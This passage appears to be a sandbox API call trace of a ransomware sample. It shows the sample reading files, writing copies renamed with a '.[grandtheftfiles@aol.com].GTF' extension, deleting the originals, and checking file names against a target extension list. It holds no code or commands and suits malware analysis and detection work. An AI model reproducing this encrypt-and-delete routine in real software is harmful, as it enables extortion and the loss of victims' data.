	[0068.395] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xbfd, lpOverlapped=0x0) returned 1
	[0068.451] WriteFile (in: hFile=0x33c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xc00, lpOverlapped=0x0) returned 1
	[0068.453] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.453] WriteFile (in: hFile=0x33c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0068.453] SetEndOfFile (hFile=0x33c) returned 1
	[0068.453] CloseHandle (hObject=0x33c) returned 1
	[0068.789] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.790] SetEndOfFile (hFile=0x310) returned 1
	[0068.790] CloseHandle (hObject=0x310) returned 1
	[0068.790] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.791] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1
	[0068.791] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.791] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.791] lstrlenW (lpString=".doc") returned 4
	[0068.791] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0068.791] lstrlenW (lpString=".docx") returned 5
	[0068.791] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0068.791] lstrlenW (lpString=".pdf") returned 4
	[0068.791] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0068.791] lstrlenW (lpString=".xls") returned 4
	[0068.791] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0068.791] lstrlenW (lpString=".xlsx") returned 5
	[0068.791] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0068.791] lstrlenW (lpString=".ppt") returned 4
	[0068.791] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0068.791] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.791] lstrlenW (lpString=".zip") returned 4
	[0068.791] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0068.791] lstrlenW (lpString=".rar") returned 4
	[0068.791] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0068.791] lstrlenW (lpString=".bz2") returned 4
	[0068.791] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0068.792] lstrlenW (lpString=".7z") returned 3
	[0068.792] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0068.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.792] lstrlenW (lpString=".dbf") returned 4
	[0068.792] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0068.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.792] lstrlenW (lpString=".1cd") returned 4
	[0068.792] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0068.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.792] lstrlenW (lpString=".jpg") returned 4
	[0068.792] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0068.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.792] lstrlenW (lpString=".doc") returned 4
	[0068.792] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0068.792] lstrlenW (lpString=".docx") returned 5
	[0068.792] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0068.792] lstrlenW (lpString=".pdf") returned 4
	[0068.792] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0068.792] lstrlenW (lpString=".xls") returned 4
	[0068.792] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0068.792] lstrlenW (lpString=".xlsx") returned 5
	[0068.792] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0068.792] lstrlenW (lpString=".ppt") returned 4
	[0068.792] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0068.792] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.792] lstrlenW (lpString=".zip") returned 4
	[0068.792] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0068.792] lstrlenW (lpString=".rar") returned 4
	[0068.792] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0068.792] lstrlenW (lpString=".bz2") returned 4
	[0068.792] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0068.792] lstrlenW (lpString=".7z") returned 3
	[0068.792] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0068.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.793] lstrlenW (lpString=".dbf") returned 4
	[0068.793] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0068.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.793] lstrlenW (lpString=".1cd") returned 4
	[0068.793] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0068.793] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\eula.rtf") returned 35
	[0068.793] lstrlenW (lpString=".jpg") returned 4
	[0068.793] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0068.793] lstrcmpiW (lpString1=".xsd", lpString2=".GTF") returned 1
	[0068.793] lstrlenW (lpString="SetupUi.xsd") returned 11
	[0068.793] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.793] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=30120) returned 1
	[0068.793] CloseHandle (hObject=0x310) returned 1
	[0068.793] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80
	[0068.793] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.794] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.794] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.794] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.794] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0068.794] GetLastError () returned 0x0
	[0068.794] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x75a8, lpOverlapped=0x0) returned 1
	[0068.840] WriteFile (in: hFile=0x33c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x75b0, lpOverlapped=0x0) returned 1
	[0068.842] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.842] WriteFile (in: hFile=0x33c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xea, lpOverlapped=0x0) returned 1
	[0068.842] SetEndOfFile (hFile=0x33c) returned 1
	[0068.842] CloseHandle (hObject=0x33c) returned 1
	[0068.843] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.843] SetEndOfFile (hFile=0x310) returned 1
	[0068.844] CloseHandle (hObject=0x310) returned 1
	[0068.845] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.845] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1
	[0068.845] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.845] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.845] lstrlenW (lpString=".doc") returned 4
	[0068.845] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1
	[0068.845] lstrlenW (lpString=".docx") returned 5
	[0068.845] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1
	[0068.845] lstrlenW (lpString=".pdf") returned 4
	[0068.845] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1
	[0068.845] lstrlenW (lpString=".xls") returned 4
	[0068.845] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1
	[0068.845] lstrlenW (lpString=".xlsx") returned 5
	[0068.845] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1
	[0068.845] lstrlenW (lpString=".ppt") returned 4
	[0068.845] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1
	[0068.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.846] lstrlenW (lpString=".zip") returned 4
	[0068.846] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1
	[0068.846] lstrlenW (lpString=".rar") returned 4
	[0068.846] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1
	[0068.846] lstrlenW (lpString=".bz2") returned 4
	[0068.846] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1
	[0068.846] lstrlenW (lpString=".7z") returned 3
	[0068.846] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1
	[0068.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.846] lstrlenW (lpString=".dbf") returned 4
	[0068.846] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1
	[0068.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.846] lstrlenW (lpString=".1cd") returned 4
	[0068.846] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1
	[0068.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.846] lstrlenW (lpString=".jpg") returned 4
	[0068.846] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1
	[0068.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.846] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.846] lstrlenW (lpString=".doc") returned 4
	[0068.846] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1
	[0068.846] lstrlenW (lpString=".docx") returned 5
	[0068.846] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1
	[0068.846] lstrlenW (lpString=".pdf") returned 4
	[0068.846] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1
	[0068.846] lstrlenW (lpString=".xls") returned 4
	[0068.846] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1
	[0068.846] lstrlenW (lpString=".xlsx") returned 5
	[0068.846] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1
	[0068.846] lstrlenW (lpString=".ppt") returned 4
	[0068.846] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1
	[0068.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.847] lstrlenW (lpString=".zip") returned 4
	[0068.847] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1
	[0068.847] lstrlenW (lpString=".rar") returned 4
	[0068.847] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1
	[0068.847] lstrlenW (lpString=".bz2") returned 4
	[0068.847] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1
	[0068.847] lstrlenW (lpString=".7z") returned 3
	[0068.847] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1
	[0068.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.847] lstrlenW (lpString=".dbf") returned 4
	[0068.847] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1
	[0068.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.847] lstrlenW (lpString=".1cd") returned 4
	[0068.847] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1
	[0068.847] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0068.847] lstrlenW (lpString=".jpg") returned 4
	[0068.847] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1
	[0068.847] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0068.847] lstrlenW (lpString="SplashScreen.bmp") returned 16
	[0068.847] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.848] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=41080) returned 1
	[0068.848] CloseHandle (hObject=0x310) returned 1
	[0068.848] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 0x80
	[0068.848] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.848] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.848] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.848] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.848] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0068.848] GetLastError () returned 0x0
	[0068.848] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0xa078, lpOverlapped=0x0) returned 1
	[0068.881] WriteFile (in: hFile=0x33c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xa080, lpOverlapped=0x0) returned 1
	[0068.883] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.883] WriteFile (in: hFile=0x33c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0068.883] SetEndOfFile (hFile=0x33c) returned 1
	[0068.883] CloseHandle (hObject=0x33c) returned 1
	[0068.885] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.885] SetEndOfFile (hFile=0x310) returned 1
	[0068.886] CloseHandle (hObject=0x310) returned 1
	[0068.886] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0068.887] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SplashScreen.bmp" (normalized: "c:\\588bce7c90097ed212\\splashscreen.bmp")) returned 1
	[0068.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.887] lstrlenW (lpString=".doc") returned 4
	[0068.887] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0068.887] lstrlenW (lpString=".docx") returned 5
	[0068.887] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0068.887] lstrlenW (lpString=".pdf") returned 4
	[0068.887] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0068.887] lstrlenW (lpString=".xls") returned 4
	[0068.887] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0068.887] lstrlenW (lpString=".xlsx") returned 5
	[0068.887] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0068.887] lstrlenW (lpString=".ppt") returned 4
	[0068.887] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0068.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.887] lstrlenW (lpString=".zip") returned 4
	[0068.887] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0068.887] lstrlenW (lpString=".rar") returned 4
	[0068.887] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString=".bz2") returned 4
	[0068.888] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString=".7z") returned 3
	[0068.888] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0068.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.888] lstrlenW (lpString=".dbf") returned 4
	[0068.888] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.888] lstrlenW (lpString=".1cd") returned 4
	[0068.888] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0068.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.888] lstrlenW (lpString=".jpg") returned 4
	[0068.888] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.888] lstrlenW (lpString=".doc") returned 4
	[0068.888] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString=".docx") returned 5
	[0068.888] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1
	[0068.888] lstrlenW (lpString=".pdf") returned 4
	[0068.888] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString=".xls") returned 4
	[0068.888] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString=".xlsx") returned 5
	[0068.888] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1
	[0068.888] lstrlenW (lpString=".ppt") returned 4
	[0068.888] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.888] lstrlenW (lpString=".zip") returned 4
	[0068.888] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString=".rar") returned 4
	[0068.888] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString=".bz2") returned 4
	[0068.888] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1
	[0068.888] lstrlenW (lpString=".7z") returned 3
	[0068.888] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1
	[0068.889] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.889] lstrlenW (lpString=".dbf") returned 4
	[0068.889] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1
	[0068.889] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.889] lstrlenW (lpString=".1cd") returned 4
	[0068.889] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1
	[0068.889] lstrlenW (lpString="C:\\588bce7c90097ed212\\SplashScreen.bmp") returned 38
	[0068.889] lstrlenW (lpString=".jpg") returned 4
	[0068.889] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1
	[0068.889] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0068.889] lstrlenW (lpString="UiInfo.xml") returned 10
	[0068.889] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.889] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=38898) returned 1
	[0068.889] CloseHandle (hObject=0x310) returned 1
	[0068.889] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 0x80
	[0068.889] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0068.889] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0068.890] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.890] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.890] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0068.890] GetLastError () returned 0x0
	[0068.890] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x97f2, lpOverlapped=0x0) returned 1
	[0069.374] WriteFile (in: hFile=0x33c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x9800, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x9800, lpOverlapped=0x0) returned 1
	[0069.376] ReadFile (in: hFile=0x310, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.376] WriteFile (in: hFile=0x33c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0069.376] SetEndOfFile (hFile=0x33c) returned 1
	[0069.882] CloseHandle (hObject=0x33c) returned 1
	[0069.884] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.884] SetEndOfFile (hFile=0x310) returned 1
	[0069.885] CloseHandle (hObject=0x310) returned 1
	[0069.885] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x80) returned 1
	[0069.885] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1
	[0069.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.885] lstrlenW (lpString="C:\\588bce7c90097ed212\\UiInfo.xml") returned 32
	[0069.885] lstrlenW (lpString=".doc") returned 4
	[0069.885] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.885] lstrlenW (lpString=".docx") returned 5
	[0069.885] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0069.885] lstrlenW (lpString=".pdf") returned 4
	[0069.885] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.886] lstrlenW (lpString=".xls") returned 4
